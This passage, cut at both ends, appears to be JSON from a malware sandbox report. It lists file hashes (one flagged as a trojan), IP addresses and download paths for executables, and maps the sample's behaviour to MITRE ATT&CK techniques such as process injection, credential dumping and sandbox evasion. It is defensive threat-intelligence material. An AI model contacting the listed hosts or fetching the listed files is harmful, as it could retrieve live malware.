"},"File:4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b":{"type":"File","value":"4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b"},"File:c3f4c76a40d840e4026cc1a0a653171b7036fa213ffcd5c2a0ddfeef7479b76a":{"type":"File","value":"c3f4c76a40d840e4026cc1a0a653171b7036fa213ffcd5c2a0ddfeef7479b76a"},"File:ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae":{"type":"File","value":"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","verdict":{"reasons":["File reported as trojan by ClamAV antivirus"],"verdict":"malicious","verdict_source":"ClamAV Antivirus"}},"Ip:104.16.184.241":{"type":"Ip","value":"104.16.184.241"},"Ip:149.154.167.220":{"type":"Ip","value":"149.154.167.220"},"Ip:172.67.19.24":{"type":"Ip","value":"172.67.19.24"},"Ip:172.67.196.114":{"type":"Ip","value":"172.67.196.114"},"Ip:176.111.174.140":{"type":"Ip","value":"176.111.174.140"},"Url:/":{"type":"Url","value":"/"},"Url:/PPGcgnyW.exe":{"type":"Url","value":"/PPGcgnyW.exe"},"Url:/api.php?{A068533DBF09758809014}":{"type":"Url","value":"/api.php?{A068533DBF09758809014}"},"Url:/api/update.pack":{"type":"Url","value":"/api/update.pack"},"Url:/api/update2.pack":{"type":"Url","value":"/api/update2.pack"},"Url:/event.php":{"type":"Url","value":"/event.php"},"Url:/nikzbi.exe":{"type":"Url","value":"/nikzbi.exe"},"Url:/schuste.exe":{"type":"Url","value":"/schuste.exe"}}},"mitre_attacks":[{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Persistence","technique":"DLL Side-Loading"},{"attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Resource Development","technique":"Domains"},{"attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Access Token Manipulation"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"},{"attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Connections Discovery"},{"attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"User Activity Based Checks"},{"attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation"},{"attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Credential Access","technique":"OS Credential Dumping"},{"attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell with commandline"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Execution","technique":"PowerShell"},{"attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"System Binary Proxy Execution"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"Query Registry"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"},{"attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"suspicious","value":"Contains ability to discover system user information"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Owner/User Discovery"},{"attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"suspicious","value":"Contains scheduled task related strings"},{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Execution","technique":"Scheduled Task"},{"attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"ListPlanting"},{"attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection"},{"attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Able to detect sandbox environment via user account"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"System Checks"},{"attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Symmetric Cryptography"},{"attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Command Shell"},{"attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Execution","technique":"Malicious File"},{"attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Mutual Exclusion"},{"attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Able to modify Remote Configuration"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Lateral Movement","technique":"Remote Services"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"suspicious","value":"Tries to retrieve system language information using chcp utility"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}],"tactic":"Exfiltration","technique":"Scheduled Transfer"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Reference explorer.exe process"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Able to decode string content at runtime (.NET)"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information"},{"attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"suspicious","value":"Contains ability to terminate a process"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Impact","technique":"Service Stop"},{"attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Unsecured Credentials"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to create new processes (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Discovery","technique":"Device Driver Discovery"},{"attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to create a remote thread (API string)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection"},{"attack_id":"T1562.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/004","identifiers":[{"type":"informative","value":"Detects NETSH process execution"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify System Firewall"},{"attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"},{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"Security Software Discovery"},{"attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerade Task or Service"},{"attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File Deletion"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Asymmetric Cryptography"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Code Signing"},{"attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Persistence","technique":"Windows Service"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"},{"attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Execution Guardrails"},{"attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location"},{"attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Execution","technique":"Command and Scripting Interpreter"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"suspicious","value":"Found browser information locations related strings"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"},{"type":"suspicious","value":"PE file has unusual entropy resources"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Software Packing"},{"attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder"},{"attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Credentials from Password Stores"},{"attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Persistence","technique":"Component Object Model Hijacking"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Time Based Evasion"},{"attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify Tools"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Uses powershell to execute new process"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Persistence","technique":"Create or Modify System Process"},{"attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Found a reference to an external IP address lookup service"},{"type":"malicious","value":"Detected network related fingerprinting/snooping attempt"},{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Network Configuration Discovery"},{"attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Reflective Code Loading"},{"attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Execution","technique":"Inter-Process Communication"},{"attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE file"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Embedded Payloads"},{"attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen information (Dotnet)"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Collection","technique":"Screen Capture"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Searches for patterns in files"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls APIs used for find file/directory path"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory 